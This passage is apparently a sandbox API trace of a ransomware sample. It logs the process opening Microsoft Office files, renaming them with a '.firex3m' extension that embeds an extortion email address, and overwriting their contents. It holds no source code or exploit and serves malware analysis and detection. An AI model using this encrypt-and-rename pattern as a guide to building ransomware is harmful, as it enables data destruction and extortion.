hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.508] WriteFile (in: hFile=0x714, lpBuffer=0x7196e08*, nNumberOfBytesToWrite=0x9440, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7196e08*, lpNumberOfBytesWritten=0x4d3ff0c*=0x9440, lpOverlapped=0x0) returned 1 [0140.508] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.509] WriteFile (in: hFile=0x714, lpBuffer=0x71a0247*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71a0247*, lpNumberOfBytesWritten=0x4d3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0140.509] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.509] WriteFile (in: hFile=0x714, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4d3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0140.509] CloseHandle (hObject=0x714) returned 1 [0140.509] GetProcessHeap () returned 0x630000 [0140.509] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7196e08 | out: hHeap=0x630000) returned 1 [0140.509] GetProcessHeap () returned 0x630000 [0140.510] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ef75c0 | out: hHeap=0x630000) returned 1 [0140.511] GetProcessHeap () returned 0x630000 [0140.511] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73172c0 | out: hHeap=0x630000) returned 1 [0140.511] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0140.512] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fcc4 | out: lpFindFileData=0x4d3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd744774, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd744774, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19b2e80c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x947a, dwReserved0=0xbfc7496, dwReserved1=0x6ef75b8, cFileName="DD00261_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DD0026~1.FIR")) returned 0x6d5200 [0140.512] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0140.512] Sleep (dwMilliseconds=0x1) [0141.302] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms", len=0x52 | out: pbstr=0x4d3ff7c*="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 1 [0141.302] GetProcessHeap () returned 0x630000 [0141.302] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7203db8, Size=0x1c5c) returned 0x7203db8 [0141.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0143.336] CloseHandle (hObject=0x5ec) returned 1 [0143.336] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0143.336] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0143.769] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0143.769] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fc6c | out: lpFindFileData=0x4d3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4a97702, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4a97702, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4ba2739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3080, dwReserved0=0x690066, dwReserved1=0x650072, cFileName="MondoR_KMS_Automation-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MOC870~1.FIR")) returned 0x6d52c0 [0143.769] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0143.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0143.769] GetProcessHeap () returned 0x630000 [0143.769] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x30a1) returned 0x6f1c300 [0143.770] GetProcessHeap () returned 0x630000 [0143.770] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x30a1) returned 0x6f1f3b0 [0143.770] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.770] ReadFile (in: hFile=0x5ec, lpBuffer=0x6f1c300, nNumberOfBytesToRead=0x3080, lpNumberOfBytesRead=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f1c300*, lpNumberOfBytesRead=0x4d3ff0c*=0x3080, lpOverlapped=0x0) returned 1 [0145.307] GetProcessHeap () returned 0x630000 [0145.307] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71766b0 [0145.307] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.307] WriteFile (in: hFile=0x5ec, lpBuffer=0x6f1f3b0*, nNumberOfBytesToWrite=0x3080, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f1f3b0*, lpNumberOfBytesWritten=0x4d3ff0c*=0x3080, lpOverlapped=0x0) returned 1 [0145.902] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.902] WriteFile (in: hFile=0x5ec, lpBuffer=0x6f2242f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f2242f*, lpNumberOfBytesWritten=0x4d3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0145.911] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.912] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4d3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0145.912] CloseHandle (hObject=0x5ec) returned 1 [0145.912] GetProcessHeap () returned 0x630000 [0145.912] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f1f3b0 | out: hHeap=0x630000) returned 1 [0145.912] GetProcessHeap () returned 0x630000 [0145.912] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f1c300 | out: hHeap=0x630000) returned 1 [0145.916] GetProcessHeap () returned 0x630000 [0145.916] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71766b0 | out: hHeap=0x630000) returned 1 [0145.916] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0145.916] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fcc4 | out: lpFindFileData=0x4d3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4a97702, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4a97702, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1ceaa517, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x30a4, dwReserved0=0xbfc7496, dwReserved1=0x6f1c2f8, cFileName="MondoR_KMS_Automation-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MOC870~1.FIR")) returned 0x6d53c0 [0145.916] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0145.916] Sleep (dwMilliseconds=0x1) [0146.019] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLPERF.H", len=0x3f | out: pbstr=0x4d3ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLPERF.H") returned 1 [0146.019] GetProcessHeap () returned 0x630000 [0146.019] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x2768) returned 0x71f7c78 [0146.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLPERF.H" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlperf.h"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x708 [0146.344] CloseHandle (hObject=0x708) returned 1 [0146.344] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.344] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLPERF.H" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlperf.h"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLPERF.H.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlperf.h.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.392] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.392] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLPERF.H.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fc6c | out: lpFindFileData=0x4d3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca90ec5a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca90ec5a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca90ec5a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x227, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLPERF.H.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OUTLPE~1.FIR")) returned 0x6d54c0 [0146.392] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0146.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLPERF.H.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlperf.h.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x708 [0146.393] GetProcessHeap () returned 0x630000 [0146.393] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x717e148 [0146.393] GetProcessHeap () returned 0x630000 [0146.393] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x699448 [0146.393] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.393] ReadFile (in: hFile=0x708, lpBuffer=0x717e148, nNumberOfBytesToRead=0x220, lpNumberOfBytesRead=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x717e148*, lpNumberOfBytesRead=0x4d3ff0c*=0x220, lpOverlapped=0x0) returned 1 [0146.396] GetProcessHeap () returned 0x630000 [0146.396] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0146.396] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.396] WriteFile (in: hFile=0x708, lpBuffer=0x699448*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x699448*, lpNumberOfBytesWritten=0x4d3ff0c*=0x220, lpOverlapped=0x0) returned 1 [0146.396] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.396] WriteFile (in: hFile=0x708, lpBuffer=0x699667*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x699667*, lpNumberOfBytesWritten=0x4d3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0146.397] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.397] WriteFile (in: hFile=0x708, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4d3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0146.397] CloseHandle (hObject=0x708) returned 1 [0146.397] GetProcessHeap () returned 0x630000 [0146.397] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x699448 | out: hHeap=0x630000) returned 1 [0146.397] GetProcessHeap () returned 0x630000 [0146.397] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717e148 | out: hHeap=0x630000) returned 1 [0146.397] GetProcessHeap () returned 0x630000 [0146.397] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0146.397] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.397] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLPERF.H.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fcc4 | out: lpFindFileData=0x4d3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca90ec5a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca90ec5a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1d348e54, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x24b, dwReserved0=0xbfc7496, dwReserved1=0x717e140, cFileName="OUTLPERF.H.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OUTLPE~1.FIR")) returned 0x6d5280 [0146.397] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0146.397] Sleep (dwMilliseconds=0x1) [0146.412] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_K_COL.HXK", len=0x44 | out: pbstr=0x4d3ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_K_COL.HXK") returned 1 [0146.412] GetProcessHeap () returned 0x630000 [0146.412] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x2700) returned 0x71f7c78 [0146.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0146.412] CloseHandle (hObject=0x69c) returned 1 [0146.412] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.412] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.413] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.413] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fc6c | out: lpFindFileData=0x4d3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ba9874, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ba9874, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ba9874, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSPUB_~1.FIR")) returned 0x6d4f80 [0146.413] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0146.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0146.413] GetProcessHeap () returned 0x630000 [0146.413] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4e98 [0146.413] GetProcessHeap () returned 0x630000 [0146.413] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a48f8 [0146.413] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.413] ReadFile (in: hFile=0x69c, lpBuffer=0x6a4e98, nNumberOfBytesToRead=0x60, lpNumberOfBytesRead=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4e98*, lpNumberOfBytesRead=0x4d3ff0c*=0x60, lpOverlapped=0x0) returned 1 [0146.415] GetProcessHeap () returned 0x630000 [0146.415] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0146.415] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.415] WriteFile (in: hFile=0x69c, lpBuffer=0x6a48f8*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a48f8*, lpNumberOfBytesWritten=0x4d3ff0c*=0x60, lpOverlapped=0x0) returned 1 [0146.415] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.415] WriteFile (in: hFile=0x69c, lpBuffer=0x6a4957*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4957*, lpNumberOfBytesWritten=0x4d3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0146.415] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.415] WriteFile (in: hFile=0x69c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4d3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0146.415] CloseHandle (hObject=0x69c) returned 1 [0146.415] GetProcessHeap () returned 0x630000 [0146.415] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a48f8 | out: hHeap=0x630000) returned 1 [0146.415] GetProcessHeap () returned 0x630000 [0146.415] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4e98 | out: hHeap=0x630000) returned 1 [0146.415] GetProcessHeap () returned 0x630000 [0146.415] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0146.415] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.415] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fcc4 | out: lpFindFileData=0x4d3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ba9874, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ba9874, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1d36ed6a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x95, dwReserved0=0x4d3fd20, dwReserved1=0x6a4e98, cFileName="MSPUB_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSPUB_~1.FIR")) returned 0x6d4ec0 [0146.416] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0146.416] Sleep (dwMilliseconds=0x1) [0147.621] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHPHN.DAT", len=0x41 | out: pbstr=0x4d3ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHPHN.DAT") returned 1 [0147.621] GetProcessHeap () returned 0x630000 [0147.621] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x26c4) returned 0x71f7c78 [0147.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHPHN.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchphn.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0148.952] CloseHandle (hObject=0x6ec) returned 1 [0148.952] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0148.996] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHPHN.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchphn.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHPHN.DAT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchphn.dat.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0148.996] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0148.997] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHPHN.DAT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fc6c | out: lpFindFileData=0x4d3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa369325, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa369325, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa38f59d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd18, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSRCHPHN.DAT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PSRCHP~1.FIR")) returned 0x6d4f40 [0148.997] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0148.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHPHN.DAT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchphn.dat.id-1998248312_[contact-support@elude.in].firex3m"), 